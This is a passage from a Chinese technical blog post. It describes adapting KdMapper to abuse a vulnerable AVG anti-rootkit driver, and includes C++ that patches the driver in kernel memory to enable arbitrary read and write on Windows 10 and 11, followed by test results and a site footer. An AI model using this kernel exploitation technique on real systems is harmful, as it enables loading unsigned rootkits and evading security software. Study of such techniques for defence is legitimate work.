        uint64_t driverBase = utils::GetKernelModuleAddress(driver_name);

        if (driverBase == 0) {
                Log(L"[-] Failed to get driver:" << driver_name << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }
        //将对应读写内存 MmProbeAndLockPages(pMdl, 0, IoModifyAccess); 第三个参数改为 IoReadAccess
        uint64_t patchReadAddress = driverBase + READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
        if (!WriteMemory(device_handle, patchReadAddress, &byData, 1))
        {
                Log(L"[-] Failed to Write Memory In Patch Driver 1" << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }

        uint64_t patchWriteAddress = driverBase + WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
        if (!WriteMemory(device_handle, patchWriteAddress, &byData, 1))
        {
                Log(L"[-] Failed to Write Memory In Patch Driver 2" << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }
        Log(L"[+] PatchDriver OK!\r\n");
        return true;
}

HANDLE avg_driver::Load() 
{
     ......
     ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
    if (ntoskrnlAddr == 0) {
        Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
        avg_driver::Unload(result);
        return INVALID_HANDLE_VALUE;
    }
    
    if (!PatchDriver(result)) //不使用PatchDriver Win11上导致读取失败
    {
        Log(L"[-] Failed to Patch Driver" << std::endl);
        avg_driver::Unload(result);
        return INVALID_HANDLE_VALUE;
    }
    
    ......
}

 

6.运行效果

 

  • Win 10 x64 22H2

  

 

  • Win 11 x64 22621

  

 

7. 特别提示

  经过测试发现漏洞驱动加载后就不能卸载了,如果要实现多次加载需要修改相关逻辑,具体就不详述了。

 

标签:__,return,sys,KdMapper,result,pInputBuffer,MEMORY,AVG,ASWARPOT
From: https://www.cnblogs.com/ImprisonedSoul/p/17766689.html

相关文章

  • [转]记一次升级.net 4.7.2版本出现未能加载文件或程序集“System.Net.Http"
    转自【https://www.cnblogs.com/ldybyz/p/13932978.html】webconfig的配置<dependentAssembly><assemblyIdentityname="System.Net.Http"publicKeyToken="b03f5f7f11d50a3a"culture="neutral"/><bindingRedirectoldVersion=&quo......
  • [Ubuntu 20.04] 修复‘systemd-shutdown[1]: waiting for process: crond’需等待1分
    由于在2020-2021年期间下载过Linux版本的FreeDownloadManager(简称FDM,一款免费但不开源的跨平台下载工具),而该软件的官网被挂了木马,因此在此期间下载安装过FDM的Linux用户,其定时任务crond中都被挂上了木马。具体现象为,关机时需要等待1分30秒,系统显示‘systemd-shutdown[1]:waiti......
  • Easysearch压缩模式深度比较:ZSTD+source_reuse的优势分析
    引言在使用Easysearch时,如何在存储和查询性能之间找到平衡是一个常见的挑战。Easysearch具备多种压缩模式,各有千秋。本文将重点探讨一种特别的压缩模式:zstd+source_reuse,我们最近重新优化了source_reuse,使得它在吞吐量和存储效率方面都表现出色。测试概览测试条件选用了esr......
  • Easysearch压缩模式深度比较:ZSTD+source_reuse的优势分析
    引言在使用Easysearch时,如何在存储和查询性能之间找到平衡是一个常见的挑战。Easysearch具备多种压缩模式,各有千秋。本文将重点探讨一种特别的压缩模式:zstd+source_reuse,我们最近重新优化了source_reuse,使得它在吞吐量和存储效率方面都表现出色。测试概览测试条件选用了......
  • 10-15|sudo hwclock --systohc这个是什么,什么情况下会用到这个
    `sudohwclock--systohc`是一个命令,用于将系统时间同步到硬件时钟。下面详细解释一下这个命令:1.**`sudo`**:这个前缀表示以超级用户权限执行接下来的命令。因为更改硬件时钟通常需要管理员权限,所以通常需要使用`sudo`。2.**`hwclock`**:这是一个工具,用于访问和修改硬件时......
  • Python 中 sys.argv 用法详解
    一、Pythonsys模块“sys”是“system”,是一个系统模块,该模块提供了一些接口,用户访问python解释器自身使用和维护的变量,同时模块中还提供了一些函数,而我们今天要讲解的argv就是其中一个函数。二、sys.argv上一篇文章我们讲到了引用模块,这里sys就相当于一个模块,而argv就是......
  • docker中使用systemctl方法
    想在docker中使用Flexmonster,但是在配置环境后,发现Flexmonster需要使用systemctl来管理服务,然而在docker容器中没有systemctl可用,于是开始折腾之旅!以下是解决办法:1、下载systemctlwgethttps://raw.githubusercontent.com/gdraheim/docker-systemctl-replacement/master/files/d......
  • python模块之sys模块
    sys.argvsys模块是python解释器交互的一个接口该模块提供对解释器使用或维护的一些变量的访问和获取它提供了许多函数和变量来处理python运行时欢姐的不同部分importsysprint(sys.argv)test=sys.argv[1]iftest=="shawn":print("iamshawn")eliftest=="s......
  • OpenHarmony-systemui项目工程无法编译的解决办法
    在探索OpenHarmony3.2Release的过程中,我希望通过修改系统软件来使系统更符合HarmonyOS特性,但是在尝试编译systemui时,遇到了这个问题:hvigorERROR:'entryModules'mustbeconfiguredforafeaturemodule.Detail:Set'entryModules'inthebuild-profile.json5f......
  • 解决PowerDesigner 16 Generate Datebase For Sql2005/2008 对象名sysproperties无效
    解决PowerDesigner16GenerateDatebaseForSql2005/2008对象名sysproperties无效的问题在PowerDesigner16中生成的sql语句,在执行的时候报错:对象名sysproperties无效的错误;造成此问题的原因是由于Sql2005、2008删除了系统表sysproperties而改用sys.extended_proper......